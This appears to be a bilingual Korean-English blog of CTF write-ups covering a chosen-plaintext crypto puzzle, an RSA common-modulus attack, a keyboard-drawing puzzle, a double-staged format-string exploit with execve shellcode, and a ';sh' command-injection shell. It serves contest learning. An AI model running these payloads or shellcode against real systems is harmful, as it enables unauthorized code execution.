한국어(Korean): Link


Encryption is done in 95Byte string of "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ". You send any string and it shows the string encrypted. It means we'll have to do chosen plaintext attack in blackbox.

Stage 1 is simple. You send strings like "ABC" and it is encrypted as "def", and key is different every time.

ABC

Password [def]\tExpected [????]

Let's say plaintext is \(x_0, x_1, ..., x_n\) and ciphertext is \(y_0, y_1, ..., y_n\) then encryption method is as follows: (All the operations are done in modulus 95, the number of characters available)

\[y_n = x_n + \text{key}\]


Stage 2 it gets a little more complex.

ABCDEFG

Password [ABDHPF"]\tExpected [????]

ABBBBBB

Password [BDGMYwB]\tExpected [????]

Since same plaintexts are encrypted as same ciphertext, there is no key. Looking into it, you can find the encryption method:

\[ y_n = \begin{cases} x_0 & \text{if } n=0 \cr x_n + \sum \limits_{i=0}^{n-1} y_i & \text{if } n\ge 1 \end{cases} \]


Stage 3.

AA

Password [Ad]\tExpected [????]

ACCCC

Password [Af8`X]\tExpected [????]

Same plaintexts are not encrypted the same. Encryption method is:

\[ y_n = \begin{cases} x_0 & \text{if } n=0 \cr \text{key}+x_n-x_{n-1} & \text{if } n\ge 1 \end{cases} \]


Stage 4.

QWERQWER

Password [Zl}@+k{<]\tExpected [????]

\(n\) being the length of string,

\[ y_i = \begin{cases} \text{?} & \text{if } i=0 \cr 2\times y_{i-1}-(x_{n-i}-x_{n-i-1}) & \text{if } i\ge 1 \end{cases} \]

That is,

P: 16 22 04 17 16 22 04 17

C: 25 37 92 83 72 36 90 79

\( y_1 = 2\times y_0 - (x_7-x_6) = 2\times 25-(17-04) = 37\)

\( y_2 = 2\times y_1 - (x_6-x_5) = 2\times 37-(04-22) = 92\)

I could not find out how the first character is encrypted, so I tried all 95 characters and chose one that made sense.


Stage 5. It took nearly 3 hours solving stage 4 and 5 alone.

A

Password [Z]\tExpected [????]

AA

Password [a1]\tExpected [????]

AAA

Password [AdL]\tExpected [????]

Encrypting the first character 'A' solely resulted in 'Z', but with the second character it became 'a'. So I thought it was block cipher.

I tried a couple of things and assumed the size of block is 4.

AAAAAAAAAAAAAAAA

Password [d7xYEJnT<#((is`-[]\tExpected [????]

Writing these in numbers:

P: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

C: 29 59 49 24 04 09 39 19 79 64 69 34 44 89 74 84

The relationship between \(y_0\) and \(y_1\) can be defined as \(y_1=2\times y_0+1\). But it does not hold for \(y_2\) and \(y_3\).

It's because they're permuted. In the block of size 4, the third and the fourth characters are switched.

Switching back results in:

C': 29 59 24 49 04 09 19 39 79 64 34 69 44 89 84 74

Now it is certain that \(y_n=2\times y_{n-1}+1\).


Let's take a look at others.

ABCD

Password [2P%g]\tExpected [????]

P: 00 01 02 03

C: 54 15 66 32

C': 54 15 32 66

All components are in the form of \(y_n=2\times y_{n-1}+2\).

So we can normalize the process:

In a sequence C' where 3rd and 4th characters are switched from C,

\[ y_n = \begin{cases} \text{?} & \text{if } n=0 \cr 2\times y_{n-1} +1 + (x_n-x_{n-1}) & \text{if } n\ge 1 \end{cases} \]

Again I couldn't find out how first character is encrypted, so I tried every character.

Decrypting the last Exptected [sI~Od$5Z?KBfUw|n7R&P5{\a;D{| 7p"h=K=)5`hH`-[6W] to get:

The flag is: Gr3aT j0b! BlackBox Ma$Ter$@!!!%%


I wrote my code as below.

I was going fine until stage 3, but I had to try things in other module so I put them altogether. That's why it is so messy..

from socket import *
import re
import telnetlib

s = socket(2,1)
s.connect(('blackbox_ced7f267475a0299446fa86c26d77161.quals.shallweplayaga.me', 18324))
s.recv(1024) # you need to ~
print s.recv(1024)

#level 1
s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n')
tmp = s.recv(1024)
pat = re.compile("Password \[(.+)\]\tExpected \[(.+)\]")
pw1, expected = re.findall(pat, tmp)[0]

s.send('''0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ \n''')
tmp = s.recv(1024)
pw2 = re.findall(pat, tmp)[0][0]

pw = pw1+pw2
d={}
allchars = '''ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ '''
p = ''
for i in expected:
    p += allchars[pw.index(i)]
print 'PASSWORD:',p
s.send(p+'\n')

s.recv(1024)
s.recv(1024)

#level 2
#s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'\n')
s.send('a'+'\n')
tmp = s.recv(1024)
print tmp
pw1, expected= re.findall(pat, tmp)[0]

pw=''
smallsum = 0

for i in expected:
    pw += allchars[(allchars.index(i)-smallsum)%len(allchars)]
    smallsum += allchars.index(i)
print 'PW=',pw
s.send(pw+'\n')
s.recv(1024)

#level 3
print s.recv(1024)
s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]

s.send('''0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ \n''')
tmp = s.recv(1024)
pw2 = re.findall(pat, tmp)[0][0]

pw = pw1[::-1]+pw2[::-1]
p = ''
for i in expected:
    p += allchars[pw.index(i)]
p=p[::-1]
print 'PASSWORD:',p
s.send(p+'\n')
s.recv(1024)
print s.recv(1024)

s.send('AA\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]

key = allchars.index(pw1[1])-allchars.index(pw1[0])
k = ''
for n,i in enumerate(expected):
    if not k: k += i
    else: k += allchars[(allchars.index(i) - allchars.index(expected[n-1]) + allchars.index(k[-1]) -key)%len(allchars)]
print 'PW=',k
s.send(k+'\n')
s.recv(1024)
s.recv(1024)

#level 5
s.send('A\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]
def do(key, expected):
    k = ''
    t = []
    for i in expected:
        t.append((allchars.index(i)*2)%len(allchars))
    r = []
    for i,j in zip(t, expected[1:]):
        r.append(i-allchars.index(j))

    k += allchars[(allchars.index(expected[0])-key)%len(allchars)]
    for i in r[::-1]:
        k += allchars[(allchars.index(k[-1])+i)%len(allchars)]
    return k

for key in range(95):
    aaaaa555=do(key,expected)
    if ' ' in aaaaa555:
        print key, aaaaa555
key = input('Please chose key:')
k = do(key, expected)
s.send(k+'\n')

print s.recv(1024)
print s.recv(1024)

tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


English: Link


서버에 접속하면 "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ "의 95Byte 문자열 안에서 암호화가 이루어집니다. 아무 문자열이나 보내면 입력한 문자열에 대한 암호문이 주어지고, 해독해야하는 암호문이 주어집니다. 즉 코드를 알 수 없는 blackbox에서 chosen plaintext attack을 해야하는 문제입니다.

1단계는 간단합니다. ABC를 보내면 def 등으로 암호화되는데, key는 매번 달라집니다.

ABC

Password [def]\tExpected [????]

평문을 \(x_0, x_1, ..., x_n\), 암호문을 \(y_0, y_1, ..., y_n\)이라고 하면 암호화 방식은 다음과 같습니다. (모든 연산은 modulus 95(가능한문자열들)로 이루어집니다.)

\[y_n = x_n + \text{key}\]


2단계부터는 살짝 복잡해집니다.

ABCDEFG

Password [ABDHPF"]\tExpected [????]

ABBBBBB

Password [BDGMYwB]\tExpected [????]

똑같은 암호를 보내면 똑같은 암호문이 오는 것으로 보아 달라지는 key는 없습니다.

잘 살펴보면 다음과 같이 암호화되는 것을 알 수 있습니다.

\[ y_n = \begin{cases} x_0 & \text{if } n=0 \cr x_n + \sum \limits_{i=0}^{n-1} y_i & \text{if } n\ge 1 \end{cases} \]


3단계입니다.

AA

Password [Ad]\tExpected [????]

ACCCC

Password [Af8`X]\tExpected [????]

같은 문자열을 보내도 암호문이 같지 않습니다. 다음 식으로 암호화됩니다.

\[ y_n = \begin{cases} x_0 & \text{if } n=0 \cr \text{key}+x_n-x_{n-1} & \text{if } n\ge 1 \end{cases} \]


4단계입니다.

Stage 4.

QWERQWER

Password [Zl}@+k{<]\tExpected [????]

n이 문자열의 길이일 때,

\[ y_i = \begin{cases} \text{?} & \text{if } i=0 \cr 2\times y_{i-1}-(x_{n-i}-x_{n-i-1}) & \text{if } i\ge 1 \end{cases} \]

P: 16 22 04 17 16 22 04 17

C: 25 37 92 83 72 36 90 79

\( y_1 = 2\times y_0 - (x_7-x_6) = 2\times 25-(17-04) = 37\)

\( y_2 = 2\times y_1 - (x_6-x_5) = 2\times 37-(04-22) = 92\)

이 됩니다.

첫 글자가 어떻게 암호화/복호화되는지는 알아내지 못해서 첫 글자를 하나씩 다 대입해보면서 문자열을 암호화해봤습니다.


5단계입니다. 4, 5단계 푸는데 합쳐서 3시간정도 걸린 것 같네요...

5단계를 알아낸 다음에는 어이없음과 허탈한 느낌이었어요.

A

Password [Z]\tExpected [????]

AA

Password [a1]\tExpected [????]

AAA

Password [AdL]\tExpected [????]

첫 A를 암호화했을 때 Z가 나왔는데 두 번째에서는 a가 됩니다. 따라서 이는 block cipher일 것이라고 생각을 했어요.

몇 가지를 더 시도해본 뒤 블록이 4글자정도일 것이라고 추측했습니다.

AAAAAAAAAAAAAAAA

Password [d7xYEJnT<#((is`-[]\tExpected [????]

이를 숫자로 표현하면 다음과 같습니다.

P: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

C: 29 59 49 24 04 09 39 19 79 64 69 34 44 89 74 84

\(y_0\)와 \(y_1\)의 관계는 \(y_1=2\times y_0+1\)로 표현됩니다. 그런데 그 뒤로는 전혀 엉뚱한 것이 나오죠.

이는 Permutation이 이루어진 것입니다. 4개의 블록 안에서 3번째와 4번째의 위치가 서로 바뀐 것이죠.

다시 3번째와 4번째를 바꾸면 다음과 같습니다.

C': 29 59 24 49 04 09 19 39 79 64 34 69 44 89 84 74

이렇게 보면 \(y_n=2\times y_{n-1}+1\)임이 확실해지죠.


다른 문자열은 어떻게 되는지 살펴봅시다.

ABCD

Password [2P%g]\tExpected [????]

P: 00 01 02 03

C: 54 15 66 32

C': 54 15 32 66

모두 \(y_n=2\times y_{n-1}+2\)임을 알 수 있습니다.

따라서 일반화를 하면 다음과 같습니다.

C를 4Byte씩의 Block으로 나눈 뒤 3번째와 4번째를 바꾼 C'의 수열에서

\[ y_n = \begin{cases} \text{?} & \text{if } n=0 \cr 2\times y_{n-1} +1 + (x_n-x_{n-1}) & \text{if } n\ge 1 \end{cases} \]

이것도 첫 글자를 모르기 때문에 첫 글자를 바꿔가며 복호화했습니다.

마지막 Exptected [sI~Od$5Z?KBfUw|n7R&P5{\a;D{| 7p"h=K=)5`hH`-[6W]를 복호화하면 다음 문자열이 나옵니다.

The flag is: Gr3aT j0b! BlackBox Ma$Ter$@!!!%%


코드는 다음과 같습니다.

3단계까지는 하나에 짜고 그 다음부터는 테스트해본다음 원래코드에 붙여넣은거라 코드가 난잡합니다..

from socket import *
import re
import telnetlib

s = socket(2,1)
s.connect(('blackbox_ced7f267475a0299446fa86c26d77161.quals.shallweplayaga.me', 18324))
s.recv(1024) # you need to ~
print s.recv(1024)

#level 1
s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n')
tmp = s.recv(1024)
pat = re.compile("Password \[(.+)\]\tExpected \[(.+)\]")
pw1, expected = re.findall(pat, tmp)[0]

s.send('''0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ \n''')
tmp = s.recv(1024)
pw2 = re.findall(pat, tmp)[0][0]

pw = pw1+pw2
d={}
allchars = '''ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ '''
p = ''
for i in expected:
    p += allchars[pw.index(i)]
print 'PASSWORD:',p
s.send(p+'\n')

s.recv(1024)
s.recv(1024)

#level 2
#s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'\n')
s.send('a'+'\n')
tmp = s.recv(1024)
print tmp
pw1, expected= re.findall(pat, tmp)[0]

pw=''
smallsum = 0

for i in expected:
    pw += allchars[(allchars.index(i)-smallsum)%len(allchars)]
    smallsum += allchars.index(i)
print 'PW=',pw
s.send(pw+'\n')
s.recv(1024)

#level 3
print s.recv(1024)
s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]

s.send('''0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ \n''')
tmp = s.recv(1024)
pw2 = re.findall(pat, tmp)[0][0]

pw = pw1[::-1]+pw2[::-1]
p = ''
for i in expected:
    p += allchars[pw.index(i)]
p=p[::-1]
print 'PASSWORD:',p
s.send(p+'\n')
s.recv(1024)
print s.recv(1024)

s.send('AA\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]

key = allchars.index(pw1[1])-allchars.index(pw1[0])
k = ''
for n,i in enumerate(expected):
    if not k: k += i
    else: k += allchars[(allchars.index(i) - allchars.index(expected[n-1]) + allchars.index(k[-1]) -key)%len(allchars)]
print 'PW=',k
s.send(k+'\n')
s.recv(1024)
s.recv(1024)

#level 5
s.send('A\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]
def do(key, expected):
    k = ''
    t = []
    for i in expected:
        t.append((allchars.index(i)*2)%len(allchars))
    r = []
    for i,j in zip(t, expected[1:]):
        r.append(i-allchars.index(j))

    k += allchars[(allchars.index(expected[0])-key)%len(allchars)]
    for i in r[::-1]:
        k += allchars[(allchars.index(k[-1])+i)%len(allchars)]
    return k

for key in range(95):
    aaaaa555=do(key,expected)
    if ' ' in aaaaa555:
        print key, aaaaa555
key = input('Please chose key:')
k = do(key, expected)
s.send(k+'\n')

print s.recv(1024)
print s.recv(1024)

tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


flag가 여러 번 암호화된 다음 파일이 주어집니다.

The file below is given saying that the flag is encrypted several times.

captured_827a1815859149337d928a8a2c88f89f


맨 윗줄에 {N : e : c}라는 설명이 있는데, RSA인 듯합니다.

At the top there is {N : e : c}, and we can assume that it is RSA.

특징을 살펴보면 N이 다 같은 것을 볼 수 있습니다. 이 때 사용할 수 있는 공격은 Common Modulus Attack입니다. (참고: http://diamond.boisestate.edu/~liljanab/ISAS/course_materials/AttacksRSA.pdf)

Looking into the file, we notice that all the N are the same. In this case, we can do Common Modulus Attack. (Reference: http://diamond.boisestate.edu/~liljanab/ISAS/course_materials/AttacksRSA.pdf)


먼저 N, e, C를 파싱하고, 서로소인 \(e_{1}\)과 \(e_{2}\)을 찾습니다.

First we parse N, e, C, then look for \(e_{1}\) and \(e_{2}\), which are relatively primes.

# parsing
s = open('captured_827a1815859149337d928a8a2c88f89f', 'rt').read()[12:] # excluding top {N : e : c}
N=[]
e=[]
C=[]
s=s.replace(' ','')
for i in s.split():
	t=map(eval,i.replace(' ','').lstrip('{').rstrip('}').split(':'))
	N.append(t[0])
	e.append(t[1])
	C.append(t[2])

# find relatively prime e1, e2
import itertools, fractions
for i,j in itertools.combinations(e, 2):
	if fractions.gcd(i, j)==1: print e.index(i),e.index(j)

결과: 8, 18

Result: 8, 18

따라서 서로소인 \(e_1=e[8]\)과 \(e_2=e[18]\)를 찾았습니다. 그럼 이제 다음 식을 만족하는 \(x, y\)를 찾아야합니다.

So we found \(e_1=e[8]\) and \(e_2=e[18]\). Now we have to find \(x, y\) such that

\[x\times e_1+y\times e_2=1\]

이는 Diophantine 방정식(참고: http://yum3.tistory.com/22)을 이용해서 찾을 수 있습니다. diophantine(e[8], e[18], 1)을 넣으면 \((x,y)=(-3898661337, 407775632)\)가 반환됩니다. 그러면 \(C_{1}^x\times C_{2}^y \mod n\)을 통해 P를 알아낼 수 있습니다. 하지만 \(x\)가 음수이므로 \(C_{1}^{-3898661337}=(C_{1}^{3898661337})^{-1}\)로 바꿔줘야하고, \(C_{1}^{3898661337}\)의 modular 연산의 역원(Multiplicative Inverse)을 구해야합니다.

This can be easily found using Diophantine Equation. Using the function specified here: http://yum3.tistory.com/22, diophantine(e[8], e[18], 1) would result in \((x,y)=(-3898661337, 407775632)\). Then we can easily find the plaintext by \(C_{1}^x\times C_{2}^y \mod n\). However, because \(x\) is negative, we have to consider \(C_{1}^{-3898661337}=(C_{1}^{3898661337})^{-1}\), which is the multiplicative inverse of \(C_{1}^{3898661337}\) in modular operation.

Multiplicative Inverse는 다음과 같은 코드로 구할 수 있습니다.

We can find Multiplicative Inverse using the following code:

def mul_inv(a, n):
	if n == 1: return 1
	
	r1, r2 = n, a
	t1, t2 = 0, 1
	
	while r2 != 0:
		q = r1/r2
		r1, r2 = r2, r1%r2
		t1, t2 = t2, t1-q*t2
	if t1 < 0: t1 += n
	return t1

최종 코드는 다음과 같습니다.

The final code is as follows:

def diophantine(a, b, c):
	'''returns (x, y) where ax+by=c'''
	r1, r2 = a, b
	s1, s2 = 1, 0
	t1, t2 = 0, 1
	
	while r2!=0:
		q = r1/r2
		r1, r2 = r2, r1%r2
		s1, s2 = s2, s1-q*s2
		t1, t2 = t2, t1-q*t2
	# gcd: r1
	return (c/r1*s1, c/r1*t1)

def mul_inv(a, n):
	if n == 1: return 1
	
	r1, r2 = n, a
	t1, t2 = 0, 1
	
	while r2 != 0:
		q = r1/r2
		r1, r2 = r2, r1%r2
		t1, t2 = t2, t1-q*t2
	if t1 < 0: t1 += n
	return t1

x, y = diophantine(e[8], e[18], 1)
print hex((mul_inv(pow(C[8],-x,N[0]),N[0])*pow(C[18],y,N[0]))%N[0])

결과는 '0x666c61675f537472656e6774685f4c6965735f496e5f446966666572656e636573L'이 나오는데, 이를 decode하면 Flag를 얻을 수 있습니다.

It prints '0x666c61675f537472656e6774685f4c6965735f496e5f446966666572656e636573L', and we decode it to get the flag.


Flag: flag_Strength_Lies_In_Differences

다음과 같은 암호(?)가 주어집니다.

We are given the following ciphertext(?).


처음에 보고 약간 멘붕에 빠졌던 문제.

A little confused after peeking at the problem.

수많은 wasd와 간혹 있는 e를 보고 제목의 의미를 알겠더군요.

A lot of "wasd"s and a few "e" made the name of the question clear. Nice!

wasd를 보니 키보드가 생각이 나서 w는 상, s는 하, a는 좌, d는 우 일 것 같다는 생각이 났어요.

I thought of the keyboard where w is up, s is down, a is left, d is right.

그래서 파이썬으로 그려봤습니다. 그런데 이상한 그림이 나오더군요.

So I drew it with python. But a little bizzare image came out.

import Image
s = open('sawed.txt', 'rt').read()

new = Image.new('RGB', (5000,5000),'white')

x = 2500
y = 2500
for i in s:
	if i=='d':
		x += 1
	elif i=='s':
		y += 1
	elif i=='a':
		x -= 1
	elif i=='w':
		y -= 1
	new.putpixel((x,y), (0,0,0))
new.show()

정체를 알 수가 없어서 PWNIOC>TPS7 등 여러 가지를 시도해보았으나 fail..

Couldn't understand what it said, so I tried a couple of things like PWNIOC>TPS7 but all failed..

그래서 admin에게 마지막 글자가 1인지 7인지 물어봤는데 둘 다 아니라고 하더군요.

So I asked admin whether the last character is 1 or 7, but he replied it is neither.

그리고 모두 대문자인지 물어보니, e를 무시하지말라고 하셨어요.

And I asked them if they're all big letters, and he said "don't ignore the significance of e".

그래서 팀원들에게 뭘지 막 물어보다가, e는 일종의 스위치 역할을 한다는 것을 알아냈습니다.

So I bothered my teammates asking about e, and found out that it acts like a kind of switch.

즉, 처음에 e가 나오면 그리는 것을 멈추고 커서만 이동합니다. 그리고 다시 e가 나오면 그리기 시작하고요.

That is, when you meet e for the first time, you stop drawing and just move cursor. And when you meet e again, you start drawing.

그렇게 그림을 그리니 다음과 같이 깔끔하게 글자가 나오는 것을 확인했습니다.

So I drew like that and nice and clear image came out.

import Image
s = open('sawed.txt', 'rt').read()

new = Image.new('RGB', (5000,5000),'white')

x = 2500
y = 2500
ignore = False
for i in s:
	if i=='e':
		ignore = not ignore
	if i=='d':
		x += 1
	elif i=='s':
		y += 1
	elif i=='a':
		x -= 1
	elif i=='w':
		y -= 1
	if not ignore:new.putpixel((x,y), (0,0,0))
new.show()


Flag: PWNING>FPS!

먼저 대회에 대해 잡담을 하자면 왜 하필 pCTF는 매번 시험기간에 열리는지 모르겠네요ㅠㅠ

이번엔 운이 좋아서 시험이 첫 날에 끝나서 혼자 참가할 수 있었네요..


EBP 문제에서는 다음과 같은 바이너리가 주어집니다.

We are given a binary below:

ebp_a96f7231ab81e1b0d7fe24d660def25a.elf


바이너리가 하는 일은 간단합니다. fgets로 전역변수 buf에 1024글자까지 입력을 받아 echo()를 통해 response를 만들고, 출력해줍니다.

What the binary does is simple. It takes input through fgets up to 1024 characters, make response and print it inside echo().

hex-ray를 통해 열어보면 취약점을 금방 발견할 수 있는데요. make_response 함수에서 Format String Bug 취약점이 존재합니다.

We can easily find the vulnerability through hex-ray. In the function make_response(), there exists a Format String Bug vulnerability.

하지만 일반 FSB와는 다르게 buf가 스택에 존재하지 않아서 스택의 값을 변경할 수 없습니다. 이 때, Double Staged FSB라는 기법을 사용해서, 이미 스택에 존재하는 값을 이용해 원하는 주소를 스택에 만들고, 만들어진 주소를 이용해 원하는 주소의 값을 조작할 수 있습니다. (참고: http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack)

However, unlike the usual FSB, buf does not exist on stack so we cannot change any value from stack. In situation like this, we can use a technique called "Double Staged FSB" to forge an existing value on a stack, and use that value to eventually forge an address we want. (Reference: http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack)

그럼 한번 GDB를 통해 snprintf가 호출되기 직전의 stack 상황을 확인해봅시다.

Let's check the stack before calling snprintf() using GDB.

현재 함수의 EBP는 0xffffd538입니다. 0xffffd538에 있는 0xffffd558(이전 함수의 EBP)을 이용해서 이 주소의 값을 전 함수의 return address를 가리키는 주소(0xffffd55c)로 바꾸면 0xffffd55c의 값을 조작할 수 있게 됩니다.

Current EBP is 0xffffd538. Using this, we can overwrite the value on 0xffffd558, which is currently 0xffffd578, with 0xffffd55c, the pointer to return address from previous function, then using 0xffffd55c on the stack, we can change the value on 0xffffd55c, which is currently 0x8048557, to something else.


공격 방법을 도식화하자면 다음과 같습니다.

To visualize the attack procedure:

1. 현재 함수의 EBP를 이용해 전 함수의 EBP를 0xffffd55c로바꾸기

1. Overwrite the value of previous EBP with 0xffffd55c using current EBP

2. 바뀐 주소를 이용해 0xffffd55c(return address를 가리키는 주소) 바꾸기

2. Using the forged 0xffffd55c(pointing to return address), overwrite the return address


그럼 이제 %x를 몇 번을 해야 EBP의 값이 출력되는지 확인합시다.

Now let's check how many %x we need to fetch current EBP.

%4$x에 EBP값이 출력되네요. 그러면 다음과 같이 payload를 구상할 수 있습니다.

1. %4$x로 이전함수의 EBP값을 알아냄 (예: 0xffffd558)

2. 위의 값에 +4를 해서 return address를 담는 주소를 구해서 %4$n으로 덮어씌움 (예: 0xffffd55c => %54260c%4$hn)

3. 원하는 return address로 %12$n


%4$x will do. Then let's plan our payload as follows:

1. Use %4$x to fetch previous EBP (e.g. 0xffffd558)

2. Add 4 to the above address to get a pointer to return address and overwrite it with %4$n (e.g. 0xffffd55c => %54260c%4$hn)

3. Overwrite return address with %12$n


memory map을 확인해보면 buf에 실행 권한이 있음을 확인할 수 있습니다. 따라서 buf에 shellcode를 넣은 뒤, return address를 buf의 주소로 바꿔주면 됩니다.

Checking the memory map, we can notice there is +x permission on buf. So put shellcode on buf, and overwrite return address with the address of buf.


최종 exploit 코드는 다음과 같습니다.

Final exploit code is as follows:

from socket import *
import struct
import telnetlib

s = socket(2,1)
s.connect(('52.6.64.173',4545))

s.send('%4$x\n')
t = s.recv(1024).rstrip()
t = int(t,16)+4 & 0xffff # add 4 to get return address

# first stage
payload = '%'+`t`+'c%4$hn\n'
s.send(payload) # overwrite previous EBP with pointer to return address

# second stage
s.recv(1024)
shellcode = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
payload = shellcode+'%'+`(0xa080-len(shellcode))`+'c%12$hn\n'
s.send(payload) # overwrite return address to buf
s.recv(1024)

tc = telnetlib.Telnet()  
tc.sock = s
tc.interact() 


Flag: who_needs_stack_control_anyway?

다음과 같은 바이너리가 주어집니다.

shock


바이너리를 분석해보면 argv[1]로 입력받은 캐릭터를 일련의 검사를 거친 뒤 "id"와 string concatenation을 한 뒤 system함수에 인자로 집어넣는 것을 볼 수 있습니다.

환경변수 PATH를 건드려서 id가 /usr/bin/id대신 임의의 프로그램을 실행하도록 해주면 간단하나, strcpy하기 전에 환경변수를 모두 초기화해버립니다.

strcat에서 취약점이 생기는데, canary가 있어서 exploit하기는 힘들어보입니다.

";sh"같은 문자열을 넣어 system함수에 injection을 시도했으나, 되지 않았습니다.

그래서 __ctype_b_loc()부분을 자세히 디버깅해보았습니다. 그렇게 알아낸 사실은, 입력받은 문자열을 하나씩 돌면서 __ctype_b_loc() 테이블을 기준으로 값을 v3에 넣는데, v3가 0-9,a-z,A-Z일 때만 v3&8이 0이 아니였습니다.

alphanumeric value만 v3&8을 했을 때 0이 아님

이렇게 code injection도 물거품이 되는 듯 했습니다.


그렇게 공격을 하던 중, 이상한 점을 발견했습니다. 바로 ./shock `python -c 'print "A"*700'`따위를 입력하면 stack smashing이 detect되지 않고 Segmentation fault만 뜨는 것을 확인했습니다.

gdb로 확인해보니, strlen함수에서 Segmentation fault가 나더군요.

그래서 Segmentation fault가 뜨는 지점과 stack smashing이 뜨는 지점을 찾으려고 시도하다가 다음과 같이 명령어를 입력했더니 shell이 떴습니다.

systemshock@ip-172-31-3-97:~$ ./shock `python -c 'print "A"*523+";sh"'`
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
$ ls
flag shock
$ cat flag
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
$ exit

정확한 원리는 아직 잘 모르겠네요.


[+] 대회 후기

이 문제를 대회 시작하고 3시간이 되어갈때 쯤 풀고, 그 뒤론 1번(owlur)과 3번(guesspw)만 계속 쥐고 있었는데

결국엔 둘 다 못 풀고 이 문제밖에 못 풀었네요ㅜㅜ

그냥 pwnable을 건드리는게 어땠을까 하는 아쉬움이 남습니다.

공부 열심히 해야겠어요!

저는 GMW(Give Me Wi-Fi) 팀이였는데요.

문제를 많이 풀어 3위(1위랑 동점이지만 늦게풀어서)까지 갔는데,

막판에 nano 문제 힌트가 나가고 nano를 푼 팀이 세 팀이 생겨서 4위로 떨어진 불운의 팀입니다. ㅠ_ㅠ


저는 optimize, recovery를 풀었는데요.

저희 팀은 FindKey.pcap, pyc_pcap, nano 문제를 못 풀었습니다.ㅜㅜ

문제풀이 시간에 들은 문제를 포함해 제가 아는 문제들 풀이를 모두 적어볼게요.


문제: 

e.txt

문제파일:

HC_files.7z.001

HC_files.7z.002


--- KeyIs ---

다음과 같은 bmp파일이 주어집니다.

key.zip

문제에서 헤더의 1byte가 수정이 되었다고 주어집니다.

열어보면 다음과 같이 사진이 회전된 것을 볼 수 있습니다.


width가 변조되어서 저렇게 이상하게 뜨는 것을 볼 수 있습니다.

BMP의 width는 0x12에 저장되므로, 21로 되어있는 이 값을 23으로 바꾸면 제대로 뜨는 것을 볼 수 있습니다.


flag: CanUCThi5Key


--- nano ---

zlib으로 압축된 파일이 주어집니다. 이는 파이썬 스크립트로 풀 수 있습니다.

import zlib
s = open('nano_zlib', 'rb').read()
open('nano', 'wb').write(zlib.decompress(s))

이렇게 압축을 풀면 x86 boot sector가 나오는데, 이를 VMware의 가상머신중 하나에 Floppy Disk device를 추가하고 부팅합니다.

Edit virtual machine settings를 누른 뒤 Add를 누르고 다음과 같이 진행합니다.



그리고 부팅하면 flag를 볼 수 있습니다.


flag: D0_Y0u_Kn0w_R34lM0d3?


--- optimize ---

파이썬 코드가 주어지는데 실행을 하면 계산 량이 너무 커서 아무 것도 출력하지 않습니다.

이 코드를 최적화시켜 무엇이 출력되는지 알아내야 합니다.

pow_plus 함수를 보면, 주어진 \(x\)와 \(n\)에 대하여 \(x^0+x^1+x^2+...+x^n\)을 계산하고 return하는 것을 볼 수 있습니다.

이는 등비수열의 합으로써, \(\sum\limits_{i=0}^{n} x^{i} = \frac{(x^{n+1}-1)}{x-1}\)임을 이용해 pow_plus(x, 3133701) = \(2^{3133702}-1\)임을 알 수 있습니다.

그 다음 after_align을 호출하는데, 이 함수는 10진수 x의 각 자리수의 합을 출력합니다.

